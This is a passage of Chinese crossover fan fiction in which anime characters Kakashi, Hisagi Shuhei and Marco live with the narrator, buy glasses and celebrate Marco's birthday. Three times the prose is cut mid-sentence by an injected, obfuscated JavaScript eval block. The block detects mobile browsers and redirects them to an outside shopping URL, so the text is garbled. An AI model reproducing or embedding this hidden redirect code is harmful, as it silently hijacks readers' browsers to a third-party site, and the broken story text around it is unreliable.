“你猜得很好,但你别猜了!”我连忙叫停卡卡西。 “怎么了?” “修兵都要下班了,我们还不出发吗?” “哦哦,那走吧,我们出发。” 卡卡西比修兵先回家。 理论上,修兵的工作是上五休二,朝八晚六。实际上,加上通勤时间,他一般会在早上七点出门,晚上七点到家。周内的中午都会在公司度过,基本做到周末不加班,可以和卡卡西换班陪我。 而卡卡西周内在家陪我,周末和修兵换班,去办事处接点任务。 过去的生活是这样的。 但马尔科到来后,卡卡西也将全职在办事处做事,刚好顺路,他俩上下班也一道。 而今天例外—— 碍于我的特别要求,卡卡西提前下班,先开车回家接我和马尔科,然后再一起去接修兵。 我们只管出发。下午没什么事,修兵摸鱼做好了攻略,带我们去距家一小时的步行街。 名为步行街,实则我们这座小城市的城市中心和商业中心。这种地方寸土寸金,我们一年去不了几次,除非修兵的编辑部与某家店合作促销,我们可以拿到优惠券,或者干脆凭借“家属”的名额混吃混喝。 今天亦然。 修兵借到了同事的会员卡,就算在这里购物也可以有不错的折扣。他举着手机,一个人在前面带路。我挽着卡卡西,拉着马尔科,跟在修兵后面。 恰逢周五,华灯初上,沿途流光溢彩,车水马龙。 街上人声鼎沸,人潮挤挤。 我倍感压力。原本是三个人一起走,我往后躲,躲着躲着,就变成了他们俩并肩。 “大小姐,你人呢?” “在这里。” 卡卡西把我从后面拎了出来。修兵在前面招手,示意我们快点跟上。 眼镜店近在咫尺。和步行街只隔了一条街道,灯火仍然辉煌灿烂,人气却远不如前。 店里没有客人。门一关,颇有几分闹中取静的清雅。 “欢迎光临!” “你好,我们要配一下眼镜,”修兵在前面问话。 “请问需要什么类型的眼镜?” “要好的!”我在后面探头探脑。 “嘛,嘛,”卡卡西把我拨到一旁,“我们配近视眼镜,你可以先介绍介绍。” “好的好的,是谁用呢?” “是他——”他指向马尔科。 “明白!那请问平时的使用环境呢?” “上学。” “上学……” 别的不用多说了,毕竟这个年纪还上学的只有一种可能。且绝大多数需要去上学的都是这一种可能。 “明白!”店员露出热情的微笑,“那么请跟我来。” 再往里走是验光的地方,我松开马尔科的手,他却一激灵,反手一把将我扣住。 电光火石之间,是他下意识的反应。我瞧着他,他也瞧着我。 “干嘛呢你们?”修兵问。 “啊,没。”我摇摇头。 我不确定马尔科是什么问题,我的话,的确有一点后遗症。 因为那走丢的前车之鉴。晚上出门,我给马尔科手腕上套了一条发带,梦幻少女粉和他简洁明快的灰黑系运动装格格不入,但十分醒目,他还没有自己的通讯器,上面留了我的号码。 不好说马尔科的反常是和我一样的后遗症,还是别的——譬如雏鸟情节。 到来以后,他一直跟着我。习惯成自然。现在让他跟别人走,他会迟疑。 “卡卡西和你一起去,”我把卡卡西推了出去。这个店员很热情的样子,我已经本能地想躲远了。 “啊……行吧,”卡卡西答应了,临走前还笑话我,“知道为什么是我们家的大小姐了吗?” “什么?”马尔科不明白。 卡卡西白我一眼:“恃美行凶,关键是我和修兵还真没办法拒绝。” “……”马尔科笑了笑。 店里只有两位导购,一位在给马尔科验光,另一位在无意识地“接受”修兵的采访。 我在店里自由走动,浏览着货架上的镜框。目光被一款护目镜样品给吸引住——银白配色,造型很精致,流线设计也不失大方与率真——便在那窗口前久久驻足。 “小姐,您眼光真好,这是今年最新时尚款的风沙护目镜!刚刚推出,在大城市里卖得很好呢!” 一有机会,导购小姐跑到了我身边,介绍起广告上的新款。 我心动了:“这个怎么卖?” “诚心要的话,可以打九折!”导购小姐十分配合地交给我试戴——我把卡卡西叫来,好看,他戴上很好看!而且他出任务用得着,最近正起风沙。 “很帅!卡卡西!” “是是是,帅帅帅。” 卡卡西陪着笑,给我做了个“我们没钱”的口型。 “谁说没有!”我掏出衣服夹层里的牛皮纸口袋,里面崭新的货币还散发着徐徐的温度。 一听到“钱”,负责管账的修兵耳朵都竖起来了。 他原本代替了卡卡西在配合马尔科验光,当下从里屋凑到我跟前:“你哪儿来的钱?” 我的零花钱已经预支到年底,修兵没给我发过其他钱。 瞒不过他的,我也没准备瞒着他。 “卖了点旧东西。” “卖了什么?”修兵皱着眉,“等等,那天上门回收的旧东西不都是提前预约的吗?回收的钱款打到了家里的账户上,钱怎么会在你手上?” “……”我就说了,他很细腻的,别想瞒他。 而且他还很聪明。 我不吭声,修兵幽幽地问我:“你和他做了额外交易?” “嗯。”我承认,“这件事出去再说,你先试试这个?” 墨镜也很酷!我想修兵作为总编辑,偶尔要出采访的外勤,会和时尚人士见面,他用得上! 不过他戴起来却并不是我所想的那样——修兵半张脸被大虚抓伤,另外半张脸又有纹身。带上墨镜显得过分繁琐,反而掩盖了他本身的特色。 修兵有一张酷哥脸,有酷哥声线,但是他本人喜好文学与音乐,是个纯正的文艺青年。 墨镜不适合他。我把墨镜退了回去。 “有平光眼镜吗?防蓝光那种。” “有有有!”导购小姐一溜烟儿取出了七八只。 她是会做生意的。 每一副的价格都很夸张。 无所谓,只要合适。 我往修兵的脸上架了几副,还真有,最贵的价格能获取最好的效果。 “要这个!”我决定了,“包起来。” “好的好的,那小姐,刚才那位先生的验光结果出来了,如果需要配眼镜的话,您还得为他选一副镜框……” “嗯,”我秒回,“拿细一点的架子,金属材质、圆形镜框、暖调的金色。” 我不用选,马尔科要戴的款式我早就决定了。 我本以为这回总不至于落入她的推销陷阱,但很遗憾,我叫马尔科过来试戴,每一副都挂上他鼻梁,我仔细地对比,结果仍然是最贵的最好看。 没办法,贵是一时的,而帅却是一辈子的。 我决定了:“就要这个。” “好的好的!小姐,您真是太会挑选了!”导购小姐的脸都笑开花了。 我:“……” 我有一种十分不妙的预感。 导购小姐拎着镜框去制作眼镜了,生怕我反悔似得,溜得很快。 不妙的预感预演预盛。我虽然不会反悔,但也不能坐以待毙。 “——修兵!” “——卡卡西!” 我把钱塞到修兵手里,把卡卡西往前推。而我自己——留下只会碍手碍脚,我拉上马尔科去店外等。 这场没有硝烟的战斗持续了异常之久。 两人从店里出来时,脑门上浸着汗。 “怎么样?”我问他们。 卡卡西笑着:“三折,满意吗?” ——他在开什么玩笑!三折诶!这还能不满意吗?! 我点头像啄米:“卡卡西!我的英雄!” 要给予英雄至高的礼遇! 我松开马尔科的手,扑上去就是一个熊抱。卡卡西已经习惯了,主动弯腰等我挂上脖子,他抱我摇来摇去,转上两圈,才放我下来。 我还想玩一下,还想再来一次,修兵已经揪住了我命运的后脖颈,把我从卡卡西的怀抱里提溜了出来—— “好了,玩过了,是不是该交代了?” 他酷哥的表情和声线瞬间把我从热烈的英雄欢迎仪式氛围中打回了冰冷的现实。 太阳落山了,秋风吹着,也显得萧瑟。 他们三人都站着,我也站着,老老实实地,双手背在身后。 “……怎么一副犯错的样子?”修兵问,“你不会真的背着我们,把家里什么东西卖了?” “没有。” “没有你哪儿来的钱?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073603|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “卖了点旧衣服。” “几件衣服能值这么多钱?”他不相信,因为这的确不可能。 我承认:“普通的衣服是不值钱,礼服的话就稍微贵一点。” “哈?”修兵皱了眉,“你卖了什么,红色那条吗?” 我点了点头。 眼看他脸色要变差了,我先发制人:“以前是很喜欢,但我也没什么机会可以穿,不是吗?” “……”他没接话,额角微微一跳。 我很了解他,只要预判他的想法,在对话中可以略胜一筹。 但只是一刹那,修兵反应很快:“那也不至于能有这么多钱吧?你这袋子里有十六万,你就算把所有的礼服都卖掉,也不值这个价。” “是的,”我承认,“那礼服卖掉了,配套的高跟鞋和手包也没有用了。” “全卖了?” “嗯。” “还是不够。”他算得好准。 我承认:“礼服都没了,那珠宝也没有什么用了。” “——什么?!” 惊异声差点震破我耳膜。这回不止是修兵,连卡卡西都瞪圆了眼睛。 “——你怎么能把那东西卖掉?!那可是你全部的过去啊!” “我知道,”我承认,我都承认,我只是忽略不了一个事实,“那些过去是组成了我,可那又怎样呢?它们现在束缚了我。” 马尔科的到来太过于突然,我们欢迎他的加入,但在物质层面上我们家的确没有做好迎接他的准备。 半个月前,我们刚刚支付了在办事处申请能力者的基础保证金,这一笔花去了整整十万,本不宽敞的生活更加捉襟见肘; 一周前,我们又支付了马尔科接受看管期间的手续费,这一笔又有三万;捉襟见肘的生活业已雪上加霜; 几天前,我们还给马尔科报名上学,学费也有两万…… 短短半个月里,我们累积支出了两三年的开销。纵使有信用卡可以周转,但生活留给我们的余地也无异于山穷水尽。 卡卡西和修兵再努力工作也不能在短时间里填补这一笔窟窿,而马尔科已经来了,他要上学、要生活,衣食住行方方面面都要开销—— 拮据已经严重影响到我们的生活! “紧抓住那些过去不放有什么意义?”我的声音稍微大了点,口吻亦严肃了许多。 “留下它,不仅给不了我们的生活任何帮助,还要占据我半个衣柜——我都没有地方可以给马尔科存放衣服!” 这是不被允许的。 我不允许它发生。 “我要给他买很多衣服,要给他打扮得漂亮,他还要去交朋友,要和朋友出去玩……别人有的,马尔科也要有。” “苦什么都不能苦孩子!穷什么都不能穷教育!”我拧着眉,打断他的发言,斩钉截铁。 我不是一个喜欢较劲的人。 所以每当我用这样的口吻表达我的观点时,退让的一定是他们。 对话戛然而止。 我不是在生气,不是在发火,我只是在说我认为很重要的事。他们也不是在生气,不是在发火,他们也只是在强调他们认为重要的事情。 当两件重要的事情相比较,孰轻孰重自有权衡和定论。 ——眼下究竟什么才最为重要,他们心中难道没有定论? “那你可以——”修兵抽了口气,到底欲言又止。 我知道修兵在想什么,我非常了解他,就像他非常了解我一样。 我知道那颗珍珠本身承载着难以匹敌的“意义”与“价值”,但……倘若我眼前发生了一件事,我为它萌生了抵押珍珠的念头,从事实层面来说,这件事于我的价值就已经超越了珍珠本身,不是吗? 既然如此,再珍贵的珠宝又有什么赎回的意义呢? 它已然不是我生命里最重要的东西了。 “……算了,卖了就卖了吧。”修兵只是说。 一如我知道他想让我暂时抵押、日后赎回的画外音,他也知道我最终没有抵押的原因——旧的回忆丢掉了也没有什么可惜,我们还可以再创造新的回忆。 于是他也没有必要再述说了。 我们在沉默中静静地看着彼此。 没有吵架,不是吵架。而是数年如一日地坚持自己的观点,然后倾听彼此的强调,最后为彼此妥协。 只是这样的话题不适合在店里探讨。 别人听起来或许很像是吵架。 但我们没有。 真的没有。 修兵伸出手,取走了我手里的蓝光眼镜,戴到了脸上。 “嗯?” “你一说买眼镜,我就赶紧取消了订单——原本下午就要到货了。” 他长得很酷,嗓音很酷,性格严肃认真。即便只是平静而正常地说话也给人一种冷酷、凶狠的既视感。 但其实修兵是很害羞的人。就算心里高兴,面上也不会表露。 “真是的,再这样下去,我真的要考虑出书了。” 9. 06 生日(1) 这种话他说过很多次了,每每他说起的时候,卡卡西会下意识答“你快点出书吧修兵老师,我买三十本以表支持”,这次也一样,修兵话音未落—— “你快点出书吧修兵老师,我买三十本以表支持。”卡卡西不假思索。 我在边上笑。等他们下一轮有关到底出不出书的讨论。 卡卡西却没再继续,他伸手摸我的头,喃喃说道:“果然是这样……我前几天还在琢磨,你怎么一点动静都没有?” “嗯?”和修兵不一样,我有时候并不能理解到卡卡西的思路。 不过,好在有修兵——修兵是我们之间沟通的桥梁。 “什么动静?”我求助修兵。 修兵低下了头,颇为无奈地叹了口气:“……你每年都嚷嚷着要吃生日蛋糕,卡卡西生日那天,我们没能开生日宴会。这都半个月了你还没有动静,所以我们考虑,你应该是准备等着马尔科的生日,一起过。” “……”被点名的马尔科忽然愣了一下。 “别发呆了,你知道今天是什么日子吗?”卡卡西问他。 马尔科又愣了一下。 他整天都在发呆。人只有一双眼睛,专注于过去就无暇关注现在和未来。我认为他不知道,人要迅速习惯一个全新的世界和身份几乎是不可能的,顶多知道现在是秋天。 出于我意料的是,今天有点例外。马尔科似乎在听我们聊天—— “……十月五号吗?”的确愣了一下,但他几乎秒答。 至于那常见的呆愣,仿佛也只是不习惯突然被cue的惊讶反应而已。 马尔科是不是有一点不一样了? 我脑中突然冒出一个念头。而我看向他,又似乎平常,没有异样。 “宾果!是你的生日哦,马尔科!”卡卡西笑弯了眼睛,“我是九月十五号的生日,他们两个没有生日,所以之前只要我过生日,他们就跟着一起过……” 可惜今年因为工作,卡卡西还没有过生日,我们也没能跟着凑上热闹。 好在突然迎来了马尔科。 “今天果然是生日宴会吧?”卡卡西摸着我的头,乐呵呵地明知故问,“那护目镜就是大小姐今年送给我的生日礼物咯?” “你有喜欢吗,卡卡西!”我也明知故问。 “那当然了,大小姐送的礼物,每一件我都很喜欢。”他眼睛弯弯的,像天边的彩虹。 是作画的问题。 在火影的世界里,卡卡西是令万千少女魂牵梦绕的美男子。但和以美著称的死神相提并论的话,他的样貌只能算是中上游。在这里,他不带面罩生活,也绝不会发生为围观美男子交通困难的情况。 但卡卡西仍然是帅气的。与相貌无关,我指的是一种令人放松的气质。 用时尚的话语来说,他属于气质型帅哥,每当他笑起来,浑身会散发出一种独特的松弛感。 每当他笑起来,我就会学他的样子把眼睛笑成一条弯弯的线。 每当他看到我拙劣的模仿,他就会笑得更开怀。彩虹总会慷慨地在天边挂上更多一点时间。 “我说,大小姐。说了多少次了,不要学我。” “学一下怎样,小气!” …… 修兵总是在一旁抄着手,满脸无语地看我俩吵吵闹闹,然后适时终止我们无聊且无休止的小学生斗嘴。 “好了,别在大街上闹。” 其实他每次都是在我吵不过的时候拉开我和卡卡西。修兵是我最好的朋友,修兵总是在帮我。 无论怎样,他一定会帮我。 “今天生日宴会的话,要吃什么呢?还剩下不少经费,要升级餐馆吗?” “要的!”我赶快凑过去,及时发表感言,“今天是生日会,马尔科的欢迎会、入学宴……有三件事,今天要吃大餐!” “对诶,还有欢迎会和入学宴,”卡卡西也说,“难得一家人整整齐齐,买个蛋糕吧。” “那我看看附近有什么……”修兵拿出了手机,“马尔科有没有忌口?” “他没有。” 我知道,我抢答。 “问的是马尔科,没有问你,”卡卡西敲我脑袋,“马尔科,人呢,怎么不说话?” 我们齐齐看往马尔科所在的方向——他在那里杵着,像个木头。仿佛热闹是我们的,与他无关。 修兵要挑选餐厅,卡卡西在定制蛋糕,都在通话中,没空关照马尔科。 卡卡西示意我,我只好上前。 其实我至今也没有习惯主动去唤醒他。如果他还没有做好放下过往,融入我们家庭的准备,我不准备强行拉他入局。 没关系的,时间很多,他可以慢慢来。 而今天例外——今天过生日,他是主角,主角不可以缺席。 我走到了他身边。马尔科仍呆滞着,没有说话。 我手上的眼镜只剩下一副了,是给他的近视眼镜。 我递给他,他也没有接。 “你眼睛没有不舒服吗?”我警告他动作快点。 “我……”他欲言又止。 晚风吹来咸咸的气息。温热的泪直挺挺地落在我伸向他的手心里。 “喂、喂?你干嘛!过生日不可以哭!” “不是……”马尔科揉着眼睛,“大小姐,我眼睛进沙子了。” “哈?” “哈什么哈,还不赶紧帮忙处理,”卡卡西把我推了过去,“替男人吹眼睛里的沙子……这种事情就算你拜托我,我也不会帮忙的喔!” “赶紧处理,这只有你能做,”修兵也说,“你们慢慢弄,在这里等等。这个点不一定有位子,我们先去餐厅里看看。” 他俩说走就走,留我一个哑口无言。 我怎么处理?我是出了名的手笨脚拙,他们又不是不知情,干嘛要把这种精细的活路交给我做? 关键是我也不会啊! 我没有给人吹过眼睛里的沙子,管理员又不是万能的! 那滴泪在我掌心飞快地变冷,我远远眺着走掉的修兵和卡卡西,除了哑口无言,只剩手足无措。 马尔科身高两米零三,我才一米六多。我够不着,眼睁睁地看着他揉搓又擦拭,本就不清明的眼被蹂躏得又红又浊,沙子却没有出来,眼泪也没有停下的意思—— “你、你先坐下!” 我把马尔科按在路边的椅子上。 我真的没有吹过沙子,不知道那应该是怎样的。 我手忙脚乱地摁住他肩膀,托起他下巴,又小心翼翼地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073604|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到患处,拨开他眼皮……晚风吹动我的裙摆,我不知道这样是不是对的,但我同它模样,尽量轻柔地吹拂他红肿的眼睛。 风在吹,我也吹。 不知多久,等它停歇的时候,我也一道停下。 马尔科已经不再流泪了。他仰着头,怔怔看我。 对视间,彼此呼吸交缠。我看他喉结滑动,似欲言又止,以为他有话要说。 但我一直等,又什么也没等到。 “我弄疼你了?” 我还托着他面颊没有放手,如果是我弄疼了他,我还可以替他揉揉。 这次我会更轻一点。 “不、不是……” 马尔科否认了。但是什么,他又不说,只是一直看着我,眸光微微闪烁。 “你眼睛好些了吗?”我又问他。 “啊?嗯……好些了,谢谢你,大小姐。” “不客气。那我能松手了吗?” “可以的。” 我把手松开了,人也退开了半步。 他好热,我看他额头都在冒汗。 卡卡西和修兵还没有回来。日头渐晚,夜风渐渐起来了。 我的裙子在风中摇曳,腰间垂下的两根束带轻盈起舞,上下起伏像洁白的浪花互相追逐。 原本是优美的,可惜不合时宜。 我伸手抓它们回来,往腰上缠绕了几圈。我不希望它同样引起马尔科的回忆,在他跨越之前,这些东西还是少接触为妙。但当我整理好自己,回头看向马尔科时,我发现他没有在看浪花,他在看我。 目光一交错,我与他不约而同地都愣了神。 他不自在地撇开了眼。这次不看我,看向远方。 远方一无所有。地平线上有一轮未尽的红日。 我走上前:“马尔科。” “嗯?” 他还是没有接过我手里的眼镜。我怕他眼里又进沙子,摊开手掌,问他:“我送你的礼物你不喜欢吗?” “没有,”马尔科用力摇头,“我很喜欢,谢谢你。” 他立马拿去戴上了,好像只是忘记了而已。 是眼镜的缘故吗?玻璃片架上他鼻梁的时候,我总觉得他眼睛明亮了许多。好像被擦拭的不是水汽蒙蒙的镜片,而是他阴霾重重的眼睛,所以当然再次抬头看我时,那双眼第一次闪出了神采。 我不知道是不是我看错了。 我想再看看,可惜他已经移开了眼。 风轻柔地吹。他金色的头发像一团盘踞的枯草。 形也如枯槁——看着我时,眸光闪烁。分明是一只鸟,但眼睛红得像只兔子,人也敏感,敏感、细腻又脆弱,会让我想到婆娑的月光,仿佛风一吹就会破碎。 我不太清楚一番队队长马尔科究竟是什么样的人设。 只是在我看来,人都是会变的,不管怎么说,他现在是我们家的鸟。 过生日不可以流眼泪。不管是因为风沙,还是别的什么。 世界和人生都是很大的议题。其中不只有过去,还涵盖现在和未来。但说未来——那东西太遥远,至少现在,温柔的人应该被温柔一些对待。 风又吹过来,泪和汗迷住了他的眼。 我上前擦拭。他愣了愣,没有闪躲。 10. 06 生日(2) 红日在天际线上一点点沉落。日落以后,一弯冷月渐渐显出踪迹。 天色已晚,夜风恐怕不会再停歇了。我走到马尔科一侧,扶着他肩,顺手把晚风蔽在身后。 这个点人来人往,联系餐馆似乎并不轻松。修兵和卡卡西迟迟没有归来。我们在静默里等待。马尔科遥望着天际线上最后一丝余晖的火光,而我看着苍穹里那弯朦胧的月。 “大小姐,”马尔科忽然问,“今天你也过生日,是吗?” “是的。” 天上月影孤寂,与一点微星遥相呼应。 他看着我沉默,喉结滑动间,又是一派欲言又止。 我不知道他在想什么,等待良久,才见马尔科推了一下眼镜。镜片在反光,我看不清他的神情,只是听到他声音还算平静:“那今天也应该送你礼物……” “他们送过了。” “嗯,那我——”他下意识地摸口袋,但那里空空如也。 马尔科面露尴尬。 “怎么了?”我问他。 “呃……”他欲言又止了好一阵,才慢慢说起,“没什么,就……谢谢你,大小姐。真的很感谢你。” 我不太明白:“谢我什么?” “谢谢你收留我,又帮我过生日,还送我礼物。这些天我给你添了很多麻烦吧?” “……”我不知道他为什么要这样说。 “没有,”我说,“没有人会把自己收到的礼物称为‘麻烦’。” “……哈?”他看着我,目瞪口呆。 他是敏感而细腻的人,我已经知道了。和他粗犷的外表不一样,他的心温顺又柔软。 我只是在陈述事实,但他望着我的眼眸却在顷刻间变得晶莹透亮。 我担心他会因为感动落泪,但我说了,过生日不可以流泪。 我皱起眉:“但我的确有一点点的‘不满意’。” “呃……”那眸光顷刻间安静下来了。 我放心了不少。 “你不问我哪里不满意吗?” “那……哪里呢?” “你不会洗澡——哪有人洗澡两分钟解决的?能洗干净吗,就两分钟,连充分润湿都做不到;头发也没有护理,洗完头发还不擦水,不吹干,不梳理;洗完澡又不护肤,不保养,还有……” 汗水从他额上渗出来。 “大小姐,”马尔科对我说,“这听起来都是女人做的事。” “马尔科,”我郑重地回答他,“关爱自己的身体,不分男士和女士。” 我一点也不意外他会这样回答。 在一觉睡去都不知道能否看到第二天的太阳的海贼舞台里,他需要的是生存。而在我们这个不必为生存烦恼的地方,他要的是生活。 这是截然不同的两码事。我态度坚决。 “好吧,”或许他感受到了其中的差别,没有再纠结了,转而问我,“但这听起来不像是‘一点点’?” 越来越多的汗水凝结在他额上,顺着他脸颊往下滑落。 我伸手擦拭,和刚才不一样,是冷的,没有温度。 他似乎有点被打击到了。 被打击到也正常:如果他睁开眼仔细看看,他自然会发现他的画风和别人都不一样——太粗糙了。生猛潦草,粗犷陋鄙,与这里格格不入。 我不是针对马尔科,我只是在说生存和生活是两件事,过去和现在亦然。 来到这里以后,每个人都要接受现实,没有人可以例外。 “这就是‘一点点’,”我坚持着,“这只是一点外在的东西,和内在相比,外在永远不值一提。而且我也只是说了一点不适合这里的生活习惯——习惯都是能改的,只要你想的话。” 解释这种事我不擅长。我不清楚这样说他到底能不能明白。 我不是针对他。别的无所谓,至少这一点不要误会。 所以我又强调了一次:“……就只是一点点不满意。” 马尔科张了张嘴,用一种惊奇的目光打量着我:“你不是不爱说话啊……” “我只是不爱和外人说话,你又不是外人。” “是吗,”他笑了笑,那种笑无畏又坦然,全无我想象中的那样脆弱。 “那不好的生活习惯,改掉就会满意了吧?”他问我。 “是的。”我肯定。 我对他没有别的不满。生活习惯只是环境的产物,那种东西即便不提也会因为“到来”本身而更替,就像入了秋,还挂在枝头的绿叶一样,早晚都会飘落。我提,也不过是因为怕他感动到落泪。 过生日不可以流眼泪。过生日要开心才行。 马尔科舒了口气:“嗯,知道了,会做到的。” “那我就很满意了,”我回答说。 “……嗯,”马尔科在笑,“那我……很快就做到。” 餐馆似乎订好了。修兵在远处招手,示意我们快些过去。 马尔科已经不再流泪了。戴上眼镜,眸光也不再闪动,看起来沉静了许多。 我拉他起来,他陡然升高的个子反而把我遮挡在内。忽起的夜风缭乱他的头发,他太高了,即便乱了,我也无力去整理,只能眼巴巴看着。 “……干嘛这样看着我啊,大小姐,”马尔科忽然问我。 “马尔科,你考虑过换个发型吗?” “嗯?” “剪短会变得帅。” 他牵着我往前走,边走边笑:“那种词语和我不相关吧?” 我拧了眉:“本来可以相关的。” 卡卡西提着蛋糕,在路口等我们一起。风也缭乱他的发,但只会添加一点清冷的氛围感。 他银白色的头发茂密而硬挺,不像摇曳的月色,像凌冽的刀光。 “卡卡西,”我伸手挽住他胳膊。 “嗯,”他提前交换位子,留足了让我挽着的余地。 “你们聊什么呢,说得这么开心?” “我在教他变好看!” “嗯?” “他不相信他能变好看!” “那你就相信吧,马尔科,”卡卡西笑着帮腔,“大小姐可是我们家的形象顾问,但凡涉及艺术与美的领域,她都很有造诣。就算我说这个你不了解,至少在‘好看’这件事上,你也能看出来她可是非常有发言权的,不是吗?” 马尔科愣了愣,目光越过卡卡西,飞速地看向我—— 他总是看我。我不知道是不是在忌惮我管理员的身份? 我也看着他。 他连忙撤去了目光,和卡卡西说:“嗯,是的。” 卡卡西笑了,忽然松开我挽着他的胳膊,绕到了马尔科边上。 “跟你说一件事,马尔科。” “什么?” “我们这里有一个说法,海贼谈及梦想和友情,唯独不谈论爱情。所以——海贼会在这里找到爱情。” “……”马尔科肉眼可见的僵住了。 他看向我,我也僵住了。 卡卡西在干嘛?疯了吗?他嗑我和马尔科的CP? “谁跟你说的?”我十分无语,说话也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073605|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太客气。 “干嘛这么嫌弃?”卡卡西也说,“我听办事处的主管小姐说的,你知道的,她一直对我很诚实。” “……” 我懂了,那是卡卡西的迷妹,什么话都肯对他说。 这种说法确实存在:这里是梦想的乐土,能弥补一切遗憾。原世界里不存在的东西,在这里反而很容易发生。 究其本质,是这个世界不存在“设定”。原世界里被“设定”封印的东西,在这里会回归平常。人活着总归会遇到爱情,所以爱情会发生;而从前的海贼们没有经历过爱情,他们便会放大对“爱情”的感受。 但无论怎样,真相和卡卡西所描述的都不一样。 我不知道该怎样去描述真实,我的表达和我的手脚一样笨拙,我说不过卡卡西。没等我给出答案,来接我们的修兵忽然“噗嗤”一声,莫名乐了。 “你笑什么?” 我们又纷纷看向他。 他更乐了:“你说的那位主管小姐,是不是自称‘旗木夫人’?” “是啊。” “哈哈哈,前阵子杂志社征求爱情小说,我有收到一位‘旗木夫人’小姐的投稿,但主角是卡卡西和大小姐。” “?”我更无语了。 “卡卡西,你能不能带点好头?”我扭头说卡卡西。 卡卡西一怔,开始顶嘴:“哈?不是你先带头嗑CP的?” “我哪有嗑CP?” “你嗑修兵和乱菊不是吗?” 我:“……” 我他妈—— 身后一阵阴风起。 修兵把刀架在我脖子上:“哈?” 尽管他五百余岁的年纪在死神的世界里只算是少年,但是他的嗓音却是如假包换的成熟男性,低沉又沙哑,充满了男子汉的气概。 我不敢动:“修兵,你、你听我狡——不是,解、解释!” “——你倒是解释啊?”修兵的低语在我背后回旋。 “我、我……” 我怎么办?我解释不了! 我嗑了,我确实嗑了,我不能因为刀在我脖子上,就亲手拆散我最喜欢的CP。 对任何人都有极度的礼貌与理智,唯独对姐姐青涩害羞的成熟年下弟弟和身材极其火辣,性情十分豪爽,平常爱戏弄人,关键时候又很可靠的年上美人姐姐—— 天呐,这难道不好嗑吗? 这可是我的初心CP! 所谓“初心”,是指就算知道乱菊姐姐有官配CP,和修兵注定是BE我也含着泪往下嗑! 我不知道该怎么狡辩,情急之下,只能大喊—— “卡卡西!都怪你!” “哈哈哈,说什么呀大小姐,这怎么能怪我?那不是你自己嗑的CP嘛?”卡卡西居然在笑,嘴上叫我大小姐,心里却一点也没有想要管我死活的意愿。 他是什么英雄啊!这个该死的大反派,亲手把我推进了火坑! 掐死他的念头在野蛮生长,但我不敢动,刀刃都快嵌入我皮肉里,我一动都不敢动—— “呜呜,修兵……放过我吧。下次我不告诉卡卡西了,不会让你知道的……”我求饶了,我不想在过生日的时候被修兵提着刀追着砍。 他低沉的嗓音突然拔高了好几个八度。 “——你还敢有下次?!” 斩魄刀眼看着就要劈到我头上了,风里忽然传出一阵陌生而短促的笑声。 我们纷纷看过去—— 这是我们第一次看到马尔科笑得这么开怀。 11. 07 工作(1) 他应该多笑笑。他笑起来好看,眼睛弯弯的,亦像是天边的彩虹。 不同于卡卡西的慵懒惬意,马尔科笑起来像是冬日里明媚纯粹的阳光,温暖又治愈。他毕竟是医生,做的是治病救人的工作,没有职业忍者忙里偷闲的悠然自在,只有职业医生天然圣洁的亲和。 我没有想错,那副金丝眼镜很适合他。他立在那里大笑,身上会散发一种神圣纯洁的名为“人性”的光芒。 修兵要劈我的刀就因这种不能抵挡的圣洁堪堪停下了。 我也在那光辉里愕然。 我至今也没有把他从呆滞里叫醒的打算。管理员的责任和义务是一回事,但他自己的想法是另一回事。如果他还没有做好放下过往,融入我们家庭的准备,我不准备强行拉他入局。 没关系的,时间很多,他可以慢慢来。 我本以为是的,而这一瞬间我却忽然意识到:过去那些刻意的“不注视”,似乎也在无意之间导致了我的“忽视”——如果不是马尔科笑出声,我都忘了我们家已经多了一位家庭成员,即便卡卡西出卖我、不帮我,修兵又要砍我,我也不至于无路可退。 生活已经不一样了。改变随时在发生。 每个人都必须接受现实,不仅是马尔科,还有我们。 ——尤其是我。 刀就架在我脖子上。我别无选择,只能向前。 “你帮我。” 我连忙躲到马尔科身后。 那光芒如此闪耀,我想修兵总不至于劈了好心又无辜的路人医生。 “呃……” 马尔科满是错愕,但还是一把接住我,任由我躲在他身后。 修兵果然收了刀,警告我:“下不为例。” 但我没有答应他,我和马尔科讲:“下次你也要帮我。” “啊……嗯,好的。”他也和我说。 餐厅触手可及,服务员出来迎接我们。 今天要聚餐是早有预谋,但选在这家自助餐厅却是临时起意。 我们没有提前预约,能拿到的只是大厅里平平无奇的开放式餐位。那种位置太吵,我不喜欢,会失去食欲。附近又没有别的自助餐厅。先前修兵与前台商议了良久,又从同事处要来了至尊会员,才特别尊享到包间服务。 